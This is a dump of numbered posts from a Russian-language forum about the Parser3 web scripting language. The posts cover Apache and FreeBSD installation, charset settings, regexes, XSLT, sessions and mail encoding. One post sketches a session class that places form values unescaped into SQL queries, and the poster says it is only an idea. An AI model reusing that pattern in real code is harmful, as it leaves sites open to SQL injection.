    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
[/code]\
с меня будет пиво (или что нить еще по выбору)...\
"
"3016","Est' li dokumentaziya na angl.yazyke ?"
"3017","parser3.conf\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
"
"3018","И 2 и 3 версию ставил за считанные минуты. Единственное затруднение - отсутствие примера конфига под Unix в документации."
"3019","1. Внимательно читаем описание установки на странице скачивания для Win или nix: \"Скачайте архив «Главный конфигурационный файл и файлы описания кодировок» и распакуйте его в каталог, который будет доступен CGI-скрипту.\" Что тут непонятно?\
\
(hint: В этом архиве конфиг полный.)"
"3020","А зачем тебе? Продвигать Парсер западнее Смоленска? :-)"
"3021","А все потому, что до того как скачать, надо внимательно прочитать содержимое страницы \"Скачать\" - там пунктик есть такой - Главный конфигурационный файл. Пока он не скачан, все разговоры \"не работает\" - пустой флейм..."
"3022","зачем блин нужны все эти конфиги, наверно все кодировки можно было сразу встроить в модуль, чтобы не возиться с настройкой. Вообще в введении и документации написано, что Парсер намного проще пхп, лично я убедился в обратном..."
"3023","...установкой софта на сервер должны заниматься те, кому это по должности положено - т.е. админы. Да и нигде не утверждалось, что установка проще ;-) Хотя, если у тебя есть только FTP доступ на сервер к хостеру, PHP ты туда не установишь никогда, в отличие от парсера, который достаточно скопировать..."
"3024","да, Парсер может оаботать как скрипт, но для этого надо чтобы хостер поддерживал скрипты. В большинстве случаев где есть поддержка скриптов на сервере установлен пхп. \
Для Парсера нужно написать нормальное руководство по установке, чтобы не мучаться и не выискивать в доках и факах почему не что-то не работает."
"3025","я поставил парсер с первого раза и все работало без проблем.\
по поводу кодировок: зачем в парсер впихивать, скажем, какую-нибудь китайскую кодировку? она тебе нужна? нет! а персер тяжелее станет."
"3026","Цель: выбрать из базы дату, превратив её формат в ДД.ММ\
Приходится делать вот так:\
[code]\
^articles.date.match[(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)][g]{$match.3}.^articles.date.match[(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)][g]{$match.2}\
[/code]\
\
Штука в том, что\
[code]\
^articles.date.match[(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)][g]{$match.3.$match.2}\
[/code]\
не работает. А как быть, если там надо написать точку?"
"3027","...но не поддерживает традиций юзабилити, которых ожидают от ALG :-))"
"3028","вариант 1.\
[code]${match.3.}${match.2}[/code]\
вариант 2.\
есть SQL-функция DATE_FORMAT"
"3029","Знак \"-\"  в регулярных выражениях используется для обозначения интервала символов, т.е. 0-9 это 1 2 3 ... 8 9. Поэтому если подразумевается \"-\", то пишется \"\\-\". Аналогично и для точки -- \"\\.\".\
Подробнее в доке http://parser.ru/docs/lang/ ."
"3030","0-9 это [b]0[/b] 1 2 3 ... 8 9"
"3031","[quote]\
$name[picture] \
${name}.gif\
[/code]\
Возвратит строку picture.gif, а не значение поля gif объекта picture.\
[/quote]\
\
http://parser.ru/docs/lang/vars.htm"
"3032","Это разве нормальное? вот что написано в доке про установку как модуль в Апач:\
\
Модуль Apache: \
Необходимо собрать Parser из исходных кодов, задав ключ --with-apache13 у скрипта configure, при make на экране появится инструкция по дальнейшей сборке Apache из его исходных кодов. \
\
Нет никакой инфы. Можно было например написать:\
пропишите в httpd.conf:\
LoadModule parser3_module [путь]/ApacheModuleParser3.dll\
ParserRootConfig [путь]/parser3.conf\
AddHandler parser3-handler .html\
\
затем отредактируйте parser3.conf, так как по умолчанию там настроена кодировка windows-1251, то добавьте следующие строки:\
$CHARSETS[\
$.windows-1251[путь/windows-1251.cfg]\
]"
"3033","Делаю файл-менеджер для сайта. Загружаю файл с диска, его текст пихаю в textarea - всё классно. Хочу его сохранить... и не понимаю, как! Я могу сохранить открытый файл под другим именем, переместить файл, но не могу изменить значение поля $file.text, чтобы сохранить его изменённым на диск.\
\
Помогите мне, а то у меня крыша едет. \
\
Вот я загружаю файл:\
\
[code]$f[^file::load[binary;/etc/classes/personal.p]][/code] \
\
Вот форма для редактирования текста:\
\
[code]<form method=post action=\"index.html\">\
<input type=\"hidden\" name=filename value=\"$f.name\">\
<textarea class=small rows=12 cols=90 name=filetext>^untaint[html]{$f.text}</textarea>\
<p><input type=submit value=\"Сохранить изменения\"></p>\
</form>[/code]\
\
а вот обработчик:\
\
[code]^if(def $form:filename && def $form:filetext){[/code][color=\"red\"]что мне вставить сюда, чтобы в $f.name записалось значение поля формы $form:filetext?!![/color][code]}[/code]\
"
"3034","Объясните мне пожалуйста, такому глупому, что такое - хинди?"
"3035","то ли я доки невнимательно смотрел, то ли эта фича не поддерживается...\
народ, подскажите если знаете!"
"3036","я на www.i-ris.net\
все засунул в auto.p\
и брал кусками .\
если в один auto.p не получилось (неудобно)\
то засунул в auto.p категории (каталогоа)\
\
-мне понравилось.\
-все очень быстро.\
-я считаю, что сделал правильно, если нет пусть поправят :)"
"3038","Элементарно:\
^if(def $form:filename && def $form:filetext){\
	^form:filetext.save[sections.cfg]\
}\
$f[^file::load[text;sections.cfg]]\
<form method=post action=\"test.html\">\
<input type=\"hidden\" name=filename value=\"$f.name\">\
<textarea class=small rows=12 cols=90 name=filetext>^untaint[html]{$f.text}</textarea>\
<p>\
<input type=submit value=\"Сохранить изменения\"></p>\
</form>\
\
Я только твои имена файлов немного изменил"
"3039","все спасибо\
сам разобрался..."
"3040","У меня тоже на установку ушло минут 5 и еще минуты две на то, чтобы получить нормальную кодировку от MySQL. Я даже удивился, как все легко и просто оказалось :)"
"3041","ГДЕ в доке написано, что для того, чтобы установить Парсер как модуль для Вин-Апачи, кроме строчки LoadModule ... необходимо ещё прописать ниже строчку AddModule mod_parser3.c ?? почему Я должен об этом догодываться?\
это НЕ нормально."
"3043","XML из примера на Линуксе не работает, говорит:\
--------------------\
/pxml.xml:1: error: Unsupported encoding windows-1251\
<?xml version=\"1.0\" encoding=\"windows-1251\"?> \
                                          ^\
  type: xml\
--------------------\
как же это понимать? только не говорите, что об этом в доке написано.. 8)"
"3044","Господа разработчики, почему бы вам не поместить в раздел \"скачать\" еще и билды парсера с выключенной при компиляции опцией \"проверять группу файла перед его считыванием\" (Linux)?\
\
Или, опять же, почему бы не сделать эту установку опциональной не на уровне компиляции, а на уровне SetEnv?\
Объясните, пожалуйста, интересно знать, чем вы руководствуетесь."
"3045","Под FreeBSD-то версия \"grpunlim\" доступна для загрузки ;) (ссылку нашел на сайте www.egoroff.spb.ru). Под RedHat 6.2 такая штучка не прошла. Дайте."
"3048","but if market would need that, we'd provide"
"3049","информация о языке хранится в каждом кусочке каждой строки.\
если вы написали замену на <br>, то эти буквы < b r > чистые[clean] и попадут пользователю ровно так, как вы их написали.\
\
диагноз: не надо писать никаких операций с языками, если происходящее по умолчанию устраивает. что до переносов — заменить их, а остальное будет работать как работало"
"3050","щаз. тогда Апачи ВООБЩЕ не запускается. и в логе пишет что мол нету ... mod_parser3.c или типа того.\
\
я понимаю что отечественная разработка.. первый блин комом и всё такое. но зачем говорить что всё пучком когда это далеко не так."
"3051","parser.hoha.ru - гавкнул %( \
[code]\
.htaccess: Invalid command 'Action',\
perhaps mis-spelled or defined by a module\
not included in the server configuration\
[/code]\
\
Чё-то они там переконфигурировали..."
"3052","Пишу в /usr/local/httpd/htdocs/ptest/.htaccess :\
SetEnv HTTP_PARSER_ROOT_CONFIG /usr/local/httpd/htdocs/ptest/parser3.conf\
\
Пытаюсь в /usr/local/httpd/htdocs/ptest/auto.p прчитать $env:HTTP_PARSER_ROOT_CONFIG - и.... пусто.\
Так и должно быть или нет?\
Кстати - если взять главный parser3.conf из архива \
parser3conf_20020424_unix.tar.gz (4,3 КБ)\
Главный конфигурационный файл и файлы описания кодировок\
то и там у меня $env:HTTP_PARSER_ROOT_CONFIG пустая...., хотя сам parser3.conf обнаруживается без проблем - т.е. при поиске самого конфига $env:HTTP_PARSER_ROOT_CONFIG существует и указывает туда куда надо ?-)\
\
Ничего не понимаю...............\
\
Что это может быть?"
"3053","SetEnv ... рядышком с Парсером, в cgi-bin. Там можно (и нужно) даже тока один этот SetEnv и написать."
"3054","аналогично с XML, - неясно пока, как создавать xml-файл или его содержимое, используя, например, БД.\
\
уверен, что об этом скоро напишут.\
\
вопрос: а как скоро?"
"3055","потому что универсального решения для этого нет"
"3056","У меня вот такая задача, мне нужно сохранить из формы текст в текстовый файл. Я это делаю через таблицу:\
[code]\
$text[^table::create{$form:body}] ^text.save[/text/2.txt]\
[/code]\
Можно ли это как-то по другому сделать?"
"3057","можно сгенерить его так-же, как ты генеришь html, а потом пустить его под трансформ...\
\
в том-же примере про построение деревьев - геренится xml, причем динамически :)"
"3059","осталось только с xsl проблему решить"
"3060","а какие могут быть варианты собственно?\
\
мои представления об xslt и xpath возможно недостаточно глубоки, и все же xsl - это (утрируя) текстовый файл. а манипуляции с текстом парсеру очень даже по плечу."
"3061","[b]следующее сообщение не ставит перед собой цель какое-нибудь исправление работы парсера. лишь как напутствие тем кто встретится с такой вот ошибкой[/b]\
\
я, как простой юзер, пишу в начале файла graph.p:\
[code]\
CLASS\
graph\
\
^rem{\
Надо сделать то, то и то.\
}\
\
@load[]\
........\
[/code]\
в итоге получаем [b]@CLASS must contain sole name[/b].\
в принципе идея понятна. набор вызываемых методов должен принадлежать какому-нибудь другому методу. в итоге лечим:\
[code]\
CLASS\
graph\
\
[b]@nichego_ne_metod[/b]\
^rem{\
Надо сделать то, то и то.\
}\
\
@load[]\
........\
[/code]\
Но вот я как простой юзер ожидал, что комментарии можно вставить куда угодно....\
"
"3062","[code]@nichego_ne_metod[][/code]\
"
"3063","[code]\
#однострочные комментарии\
[/code]\
и можно ставить в любое место.\
\
rem — простое решение, которое не всегда удобно, согласен.\
\
многострочные комментарии — еще одна сущность, как всякую дополнительную сущность её малопонятно, как сделать. вы себе представляете? расскажите.\
\
скажем, в горячо любимом мною perl многострочных комментариев как таковых нет, зато есть самодокументирование кода, с конструкцией\
[code]\
==name\
block\
==end\
[/code]\
\
у нас это малоприменимо."
"3064","дальше говорить? ;-)"
"3065","В смысле без модулей, а непосредственно в Httpd?\
делаю так:\
cd apache\
configure\
cd ../php\
configure --with-apache=../apache\
make\
make install\
cd ../parser3\
configure --with-apache13=../apache\
make \
make install\
модифицирую p3runConfigure до состояния\
./configure --add-module=$P3S/targets/apache13/hook/mod_parser3.c --activate-module=src/modules/php4/libphp4.a\
при make вываливаемся с ощибкой про \
/var/src/parser3/src/pcre/pcre.c:157: multiple definition of `pcre_free'        \
modules/php4/libphp4.a(pcre.o):/var/src/php4/ext/pcre/pcrelib/pcre.c:309: first \
defined here                                                                    \
Вот.. Как бы это собрать? :)\
"
"3066","Разделяй, пожалуйста, понятия подключение \"просто\" и подключение по DSO - это два разных механизма. Под Win DSO (mod_so.c) по-дефолту, кажется, не грузится, а без него никакие LoadModule не работают... RTFM."
"3067","я не знаю кто такой DSO. почему я должен вдаваться в такие тонкости Апачи механизма загрузки модулей?\
\
а ведь написано в описании Паорсера: Пасер ляляля... для *непрограммистов* что-то там.\
\
и оказывается нужно читать о внутреннем устройстве Апачи, чтобы поставить Парсер... да уж."
"3068","Ты хочешь подключить к Apache модуль, абсалютно ничего не представляя о модулях, так не бывает. Вообще говоря, никто не говорил что Apache это штука для новичков и по идее настройкой модулей должен заниматься человек хоть примерно представляющий что он делает."
"3069","- честно говоря, я его не понял :)\
Чтобы на месте не топтаться, давай конкретизировать.\
\
$sourceDoc[^xdoc::load[article.xml]]\
- так мы можем положили в нашу переменную xml-документ из файла\
(есть еще метод create, с его помощью, полагаю, можно создавать содержимое xml-документа динамичски {поправь, если не так})\
\
$transformedDoc[^sourceDoc.transform[article.xsl]]\
- а так мы можем преобразовать наш xml во все что угодно.\
только нужно чтобы файлик article.xsl лежал на сервере.\
а хотелось бы сгенерить некий виртуальный xsl, свой для каждой страницы.\
\
как сделать?\
\
заранее спасибо :)"
"3070","извиняюсь :)"
"3071","я лично не вижу смысла в генерации XSL таблиц на лету. XSLT применяется для, если можно так выразится, оформления данных т.е. для вывода их пользователю. Оформление как правило меняется не часто как данные и поэтому нахождение XSLT в файлах более чем приемлемо к тому же динамическая генерация XSLT приведет к дополнительной, ненужной нагрузке на сервер."
"3072","да и не говорится нигде что \"не программеры\" обязательно должны быть тупые как пробки."
"3073",".. если потребовалось XSL динамически создавать - это против правил ;-)\
\
но, в принципе, можно сделать save и transform (во бред...)"
"3074","Для трансформа происходит прекомпиляция XSL.\
Сейчас, в применении к одному большому шаблону,  парсер КЕШИРУЕТ уже скомпиленный шаблон. Т.е. при повторном обращении время на его компиляцию не тратится.\
\
При динамически генерируемых шаблонах он будет постоянно делать это, что не клево.\
\
В принципе, существует много разных ситуаций, когда это может понадобиться, но... я их пока придумать для себя не смог :)"
"3075","и много ты знаешь решений? ;-) Вот в ASP сделано все в общем виде типа \
\
oXml1.transform( oXml2 ) - и XML и XSL - это объекты ОДНОГО И ТОГО ЖЕ класса. Вот так ;)"
"3077","я не знаю ни одного решения"
"3078","Существует ли способ передачи произвольной таблицы через QUERY_STRING, form.....?\
конкретнее. имеем a.html в котором есть таблица t. хочу передать t в динамическую картинку на этой странице. что-то типа\
[code]<img src=\"a.gif?t=^ecnoded_table(t)\">[/code]\
"
"3079","что за фигня?? я про кого-нибудь говорил здесь что он тупой???\
\
зашибись: если чел не может догадаться какую доп. строчку прописать в апачи, чтоб заработал парсер - значит он тупой."
"3081","чего переживать-то. Просто ты про \"для *непрограммистов*\" говоришь так, как будто это должно быть для дебилов. ;-) Но на самом деле мозги никто не отменял ;-)"
"3082","Исходные данные:\
\
uname -a\
SunOS tetra 5.8 Generic_108528-14 sun4u sparc SUNW,UltraAX-i2\
\
gcc -v\
Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.8/3.1/specs\
Configured with: ../configure --with-as=/usr/ccs/bin/as --with-ld=/usr/ccs/bin/ld --disable-nls\
Thread model: posix\
gcc version 3.1\
\
делаю:\
./configure --with-apache13=../../apache-src-dir\
\
make\
И вот оно и вываливает:\
Making all in src\
Making all in libltdl\
Making all in pcre\
mksh: Fatal error in reader: = missing from replacement macro reference\
Current working directory /var/tmp/parser3project/parser3/src/pcre\
*** Error code 1\
make: Fatal error: Command failed for target `all-recursive'\
Current working directory /var/tmp/parser3project/parser3/src\
*** Error code 1\
make: Fatal error: Command failed for target `all-recursive'\
\
Ну и в чем фигня ?"
"3085","Как тип данных \"table\" передать нельзя. Смотри описание HTTP"
"3086","Просто ты не указал П3: \
\
$request:charset[windows-1251] \
$response:charset[windows-1251] \
...\
\
или он не может ее найти. есть ли это в конф, и если да есть ли SetEnv на конф П3 и сайта.\
\
см.\
http://parser.ru/forum/?id=3052"
"3087","1. Загрузите со страницы http://www.parser.ru/download/freebsd/ нужную вам версию Parser. Если вам не нужен XML, хотя-бы \"пока\", то загружайте без него, потом всегда можно будет обновить версию, а работать будет быстрее.\
2. Закачайте скрипт parser3.cgi в директорию cgi-bin\
3. Установите на него права 700\
4. Создайте файл .htaccess следующего содержания:\
[code]\
SetEnv HTTP_PARSER_ROOT_CONFIG /usr/local/parser/parser3.conf\
[/code]\
и загрузите его в директорию cgi-bin. Права на него оставьте стандартные (644).\
5. Загрузите в директорию html файл .htaccess следующего содержания:\
[code]\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
6. Всё, Parser 3 установлен. В случае каких-либо проблем лучше связываться непосредственно со мной.\
\
[quote]\
[b]Технические подробности[/b]\
В файле /usr/local/parser/parser3.conf включены кодировки windows-1251 и koi8-r, настроена поддержка MySQL, а также корректная работа с sendmail (без ключа -t).\
[/quote]"
"3088","http://www.parser.ru/forum/?id=3087"
"3089","[b]Про [i]тип данных \"table\"[/i] и HTTP мне известно.[/b]\
я надеялся на то, что у кого-то уже есть метод сбора/разбора таблицы с произвольными данными и произвольным кол-вом столбцов в строку. мы ведь пытаемся жить [b]open source?[/b]. напишем сами.\
"
"3090","А лучше купите себе нормальный хостинг 5-10 уёв и спите спокойно. Предлагаю дальше эту тему не развивать (раньше все было сказано)."
"3092","Намеки:\
1. Число строк таблицы - [b]^tableName.count[][/b] - особо не нужно, благо есть [b]^tableName.menu{}[/b]\
2. Число колонок, вернее, названия колонок доступны через [b]$tableNameCols[^tableNAme.columns[]][/b]\
3. Вываливаем:\
[code]\
$tableNameCols[^tableNAme.columns[]]\
^tableName.menu{\
    ^tableNameCols.menu{\
        $column[$tableNameCols.column]\
        $tableName.$column\
    }\
}\
[/code]\
это вывалит тебе всю таблицу построчно/поколонночно...\
4. Осталось малость - придумать, как это переделать в Query_String... Смогешь? ;-)"
"3093","ждите ответа. ждите ответа...\
"
"3094","проблема с основным parser3.conf"
"3095","ещё анализируется и такая. чтобы можно было задавать\
[code]\
/htdocs\
   .htaccess << тут\
/cgi-bin\
   .htaccess << а не тут\
[/code]\
специально для простоты настройки."
"3096","в cgi тоже, но только в пределах одного запроса.\
\
мелкое уточнение."
"3097","для начала: не надо модицифировать, надо передать параметром.\
\
уже с кем-то обсуждал это в почте, не дошло до логического завершения.\
\
для начала уберите упоминания о pcre из p3runConfigure... и давайте в почту? о результатах сообщим тут."
"3098","налицо нежелание делать естественным способом: хранить сессии в табличке в базе и время от времени убивать устаревшие."
"3099","предполагается, что знаете, что делать. не похоже..\
попробуйте gmake"
"3100","как уже выяснилось, это из-за неправильной группы файлов. :("
"3101","что считать зу устаревшую сессию: \"вываливание\" из броузера или выход по кнопке [ logout ]??\
если - из броузера, то(это уже говориллось - сессия \"висит\" пока открыт броузер), как отследить что чел ушел из защищаемой зоны???"
"3102","тогда, как говорит наш великий и мудрый [b]ВВП[/b], надо отделить мух от котлет: я хотел чтобы что-то_там.gif имел функциональность минимально необходимую для построения картинки. а всю подготовку данных оставить в html-е. там ведь тоже захочется данные таблички показать. и, чтобы не гонять туда-сюда лишнее, передавать это через строку. Но и тут без лишней передачи не обойтись. Хотя.... Пожалуй... попробую поступить по твоему совету. передавать ид сессии. Сейчас кофе только допью и смогу думать. [b];-))[/b] кажется я начинаю понимать твою идею\
"
"3103","тут вам и устаревание..."
"3104","Ура! Снова рулит parser.hoha.ru!"
"3105","Павел, насколько я понял вы имеете отношение к администрированию хостинга hoha.ru. У меня есть к вам пара вопросов, черкните адресок :)))"
"3108","мне кажется, надо записать картинку в какой-то файл, если ещё не создан, и имя его передать дальше.\
\
и не забивать себе голову общением между скриптами."
"3109","Несколько форм, по мере заполнения которых заполняется таблица.\
\
Таблицу эту можно передавать вместе с формой в скрытом поле, а можно сохранять на сервере (БД, диск), присвоив ей уникальный SID.\
\
Я выбрал первое, т.к. можно возвращаться назад на сколько угодно шагов, пользователь может сохранить файл и вернуться к заполнению когда угодно. С сессиями так нельзя, т.к. поля таблиц заполняются путем добавления, а не замещения.\
Однако считается, что этот метод корявый, поскольку пользователь может попортить форму или подвесить броузер.\
Второе, конечно, жалко.. но они и сессии так теряют.\
\
Первое не страшно (им же хуже), если только ничем не грозит серверу. Чем это ему может грозить?\
Итемы не процессятся, но над самой таблицей скрипт выполняет довольно много работы (имхо, это единственное слабое место). Я проверяю таблицу на наличие необходимых столбцов (она поименована), а также ввожу ограничение на размер post-данных.\
\
Вроде, все.. \
Может, кто-нибудь укажет еще слабые места?\
\
\
"
"3110","есть такая штука, как количество_сущностей(кв.миллиметров).\
уверен, держать их на минимуме — хорошая идея.\
зачем плодить лишнюю сущность?\
заполняется себе база, только без флажка isComplete.\
робот приходит раз в день, и старьё счищает."
"3111","я читаю твои мысли:\
в html придумываем временный файл - в него save таблицу\
в gif передаем имя файла, там его считываем и удаляем\
"
"3112",":)\
так криво.\
я имел в виду, что generated####.gif и будет этим \"временным файлом\". в него запишем картинку, потом поставим <img src=он>"
"3114","или есть?"
"3116","да. :) только об этом как-то скромненько написано."
"3117","т.е. кэш удаляется в момент обращения к нему (если таймаут) или при любом обращении Парсер проверяет кэши (и попутно удаляет мусор). Соответственно целесообразно ли использовать кэширование в качестве сессий."
"3119","давай ты свою эмоциональную энергию будешь направлять на формулирование вопросов ;-)"
"3121",".. это имхо не очень удобно. в ASP намного удобнее."
"3122","предложите, как реализовать.\
куда эти самые данные хранить.\
не забудьте, что хочется максимально переносимое и простое решение."
"3123","вот в ASP :)"
"3125","хранить, видимо, там же, в куках (или на выбор: БД с опред. структурой). но скажем запись можно было бы организовать по-другому, форегзампл:\
\
# определение переменной в контексте сессии\
^session[$myvar]"
"3126","напиши свой класс SESSION с 3-мя (!!!) методами\
\
[code]\
^SESSION::create[]\
^if( !def $cookie::suid ){\
   $sSessionID[сгенерить уникальное число]\
   ^rem{ перед этим желательно проверить наличие записи }\
   ^rem{ с таким session_id }\
   ^void:sql{ insert into session ( session_id ) values ( '$sSessionID' ) }\
    $cookie::suid[$sSessionID;session]\
}{\
    $sSessionID[$cookie::suid]\
}\
\
^SESSION:put[sVarName;sVarValue]\
^void:sql{ insert into session_var (name, value) values ('$sVarName', '$VarValue') }\
\
^SESSION:get[sVarName]\
$result[^string:sql{ select value from session_var where name = '$sVarName' }]\
[/code]\
\
не нужно забывать что это всего лишь идея, а не кусок usable кода"
"3130",".. я это беру на заметку, так как всего лишь изучаю парсер сейчас. реального ничего пока не делаю."
"3131","Но тогда люди не смогут возвразщаться назад, чтобы перезаполнить то, что они уже заполнили:-("
"3132","Скачал parser для FreeBSD и ... Ничего. Что, где надо прописывать чтобы заработало? Ничего не получается. Уж больно невнятно все объясняется в документации.\
объясните пожалуйста как полностью установить чтобы работало?\
Пытаюсь запустить .html, а он выводит весь код. И куда сохранять файлы .cfg и нужно ли прописывать путь для обращения к этому файлу? в общем вопросов много, но пока вот эти.\
\
\
Система: WinXP eng\
Сервер:  Apache eng\
База:    MySQL\
\
С Уважением MacOS."
"3135","у меня ощущение, что налицо боязнь базы?"
"3136","Существо по имени MacOS качает Парсер для FreeBSD и пытаецца его ставить под WinXP :)))\
\
Если ошибаюсь, прошу пррощения и присоединяюсь к Лужниковскому, попробуй скачать и установить версию для Windows :)"
"3138","Возможно...\
Но тогда для обеспечения корректных возвратов мне придется хранить в базе несколько копий таблицы, т.е. делать настоящий undo.\
Не хорошо это..."
"3139","А MacOS я если что не спер, хотя звучит однозначно. просто в этом ни ке кроется сокращенное имя и фамилия, а имя Макс.\
А за ссылку спасибо."
"3141","Например, есть строка +a-b=c, в которой + надо заменить на \", - на %, а = на *.\
На парсере2."
"3142","зачем? разве недостаточно в табличке с сессией держать номер шага?"
"3143","Практически - примерно так:\
^match[([\\+-=]);g;^switch[^item[\\1];^case[+;\"]^case[-;%]^case[=;*]];your_text_here]"
"3144","человек знает что говорит :-)"
"3145","Скачал исходный код. Дал ему расширение .cgi и назначил обработчиком. Не работает, хотя делал все по инструкции.\
\
#include <iostream.h> - такой команды не описано ни в руководстве к парсеру, ни к perl, ни к php.\
\
Скажите еще, как парсером выполнять 3D-построения? Где у него панель управления, меню и т.д. \
\
Юзабилити - ноль!"
"3146","# это символ комментария, поэтому эта строка не выполняется... \
смотри дальше... :-)"
"3147",">> Где у него панель управления, меню и т.д\
\
\"Урок 1. Меню навигации\"\
http://www.parser.ru/docs/lang/lesson1.htm"
"3148","Вот кусок скрипта:\
\"<SCRIPT LANGUAGE=\"JavaScript\">\
<!--\
function Decode(){var temp=\"\",i,c=0,out=\"\";var str=\"60!98!111!\"\
и т.д. Как его расшифровать и зашифровать обратно? Помогите пожайлуста."
"3149","Все сделано как в доках, однако в логах имеем следующее:\
[Wed Jun 26 11:18:30 2002] [error] [client 127.0.0.1] Premature end of script headers: parser3.exe"
"3150","во-во. :-) каждый день такой вопрос. видимо, документация написана как-то не так..."
"3152","мог бы ответить человеку, вместо тупого наезда."
"3153","пример простого сайта, как для П2. Но не совсем уж простейшего, а что бы была показана вся мощь П3 (насколько возможно) и объектногоподхода, в нём реализованного. Также при возможности расположить там что-нибудь с ипользованием XML.\
Покажите как вы используете П3 на примере цельного примера, а не кусочков кода. Разрабатывали Парсер вы с учётом своих потребностей, так что стиль кодирования подразумевался определённый.\
\
P.S. Любые мнения изложенные выше суть IMHO, просьбы -- не более чем просьбы, а не требования."
"3157","Таблица заполняется путем добавления.\
Т.е. там 2 таблицы (а в перловой версии - хэша).\
у одной аргумент - множество, у другой - число. \
К примеру, ответил человек на один вопрос income=high, вернулся назад и ответил income=medium. А предыдущее значение сохранилось. Поэтому в результате будет income=high|medium|all_previous_values (такая у скрипта логика работы). В числовой таблице, соответственно будет сложение. age=60, вернулся, написал age=61. В результате будет age=121.\
Значит, мне придется либо хранить несколько таблиц соответственно шагам или запретить возврат, что очень не хорошо."
"3158","В том, что просто и элементарно. А я ведь бился..."
"3159","http://forum.gfk.ru/?setdesign=new\
http://forum.gfk.ru/about/technology/index.html?setdesign=new"
"3162","посмотри вот сюда: http://validator.w3.org/check?uri=http%3A%2F%2Fforum.gfk.ru%2F%3Fsetdesign%3Dnew&charset=windows-1251+%28Cyrillic%29&doctype=HTML+4.01+Transitional\
\
а теперь скажи, что должно символизировать загадочное [code]<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">[/code]? $-)"
"3164","действительно достал. Есть желание - перепиши, нет - завязывай играть в декабристов-революционеров"
"3167","FG, организовать необходимое — тривиальная задача, не вижу ни одной проблемы.\
\
если вам представляется легче мучаться с хранением сессии на клиенте: как угодно."
"3168","Veron, запустите этот .exe просто так, их Explorer. Говорит что .dll забыта?"
"3169","Я знаю, что всё ещё довольно сырое, но работает же! Для сайта, который делался (если брать только чистое время работы) меньше недели - весьма неплохо, мне кажется...\
\
Кстати, какую альтернативу <nobr> предлагает HTML 4?"
"3171","работает юлагодаря тому, что браузер кладет на твой doctype %-)\
\
про html4 ничего не в курсе - зайди на w3c - там все есть. И с чего ты взял что <nobr> нет в html4?"
"3172","Валидатор сказал."
"3173","Подумай на досуге, что получтся, если выполнить все уроки"
"3174","Меня интересуют проблемы безопасности при такой форме работы (таблицы на клиенте). \
\
Остальное решено однозначно - т.к. посетителей много, и хранить в 10 раз больше инфы (по количеству обновлений на чела) нереально.\
\
Спасибо."
"3175","Вот интересная [url=http://lists.w3.org/Archives/Public/www-html/2001Aug/0007.html]ссылочка[/url], да и весь тред очень даже..."
"3176","Там какой-то дебильный валидатор стоит.\
Проверяет вещи, стандарта не касающиеся: строку запроса, соответствие серверной и документской кодировок, да и вообще, transitional проверяет как strict в некоторых областях, например, в transitional есть и <nobr>, и <body marginwidh=\"\"..."
"3177","Просил поскать в архиве - ты не нашел (из-за невнимательности своей).\
Еще вопросы?"
"3178","Я не про себя. :) Я то уже во всём разобрался, даже под Линузом установил (ну.. не совсем сам). Так что спасибо всем кто отвечал."
"3182","www.ansi.org\
www.iso.org\
"
"3183","[quote] Oracle Corporation strives to comply with industry-accepted standards and participates actively in SQL standards committees. Industry-accepted committees are the American National Standards Institute (ANSI) and the International Standards Organization (ISO), which is affiliated with the International Electrotechnical Commission (IEC). Both ANSI and the ISO/IEC have accepted SQL as the standard language for relational databases. When a new SQL standard is simultaneously published by these organizations, the names of the standards conform to conventions used by the organization, but the standards are technically identical.\
\
The latest SQL standard was adopted in July 1999 and is often called SQL-99. The formal names of this standard are:\
\
    * ANSI X3.135-1999, \"Database Language SQL\", Parts 1 (\"Framework\"), 2 (\"Foundation\"), and 5 (\"Bindings\")\
\
    * ISO/IEC 9075:1999, \"Database Language SQL\", Parts 1 (\"Framework\"), 2 (\"Foundation\"), and 5 (\"Bindings\")\
\
SQL-99 replaced the previous version of the standard, commonly known as SQL-92. SQL-99 is an upward compatible extension of SQL-92, except for a few minor incompatibilities noted in Annex E of Part 2, \"Foundation,\" of SQL-99.\
\
SQL-92 defined four levels of compliance: Entry, Transitional, Intermediate, and Full. A conforming SQL implementation must support at least Entry SQL. Oracle8i fully supports Entry SQL as outlined in Federal Information Processing Standard (FIPS) PUB 127-2, and has many features that conform to Transitional, Intermediate, or Full SQL.\
\
The minimal conformance level for SQL-99 is known as Core. Core SQL-99 is a superset of SQL-92 Entry Level specification. Oracle8i also is broadly compatible with the SQL-99 Core specification. However, some SQL-99 Core features are not currently implemented in Oracle8i or differ from the Oracle8i implementation. Oracle Corporation is committed to fully supporting SQL-99 Core functionality in a future release, while providing upward compatibility for existing applications. [/quote]"
"3184","Собсно хочу перекодировать отправляемое письмо в koi8-r...\
Делаю так (по примеру):\
\
^mail:send[ \
      $.from[Вася <vasya@hotmail.ru>] \
      $.to[Петя <petya@hotmail.ru>] \
      $.subject[как дела] \
      $.body[ \
            $.text[ \
                  $.content-type[ \
                        $.value[text/plain] \
                        $.charset[KOI8-R] \
                  ] \
                  $.body[Как у вас письма перекодируются? У меня отвратительно!] \
            ] \
                        \
      ] \
] \
\
где (по доке)\
$.content-type[ \
      $.value[text/plain]  \
      $.charset[кодировка_письма]  - ставим koi8-r\
] \
если задан этот ключ, то письмо будет перекодировано в эту кодировку вместо заданной...\
\
уже кучу вариантов испробывал...\
а письма упорно идут в win-1251...\
Подскажите, пожалуйста!  :)"
"3185","А куда его надо вставить относительно урока 2 ?"
"3186","> где (по доке)\
\
такого в доке нет.\
есть про \
[code]^mail:send[$.charset[][/code]\
а про [code]content.type[$.charset[/code] специально написано:\
Этот заголовок не влияет на перекодирование, а влияет только на ту кодировку, в которой почтовый клиент будет отображать письмо. \
"
"3187","Значит так:\
\
^mail:send[\
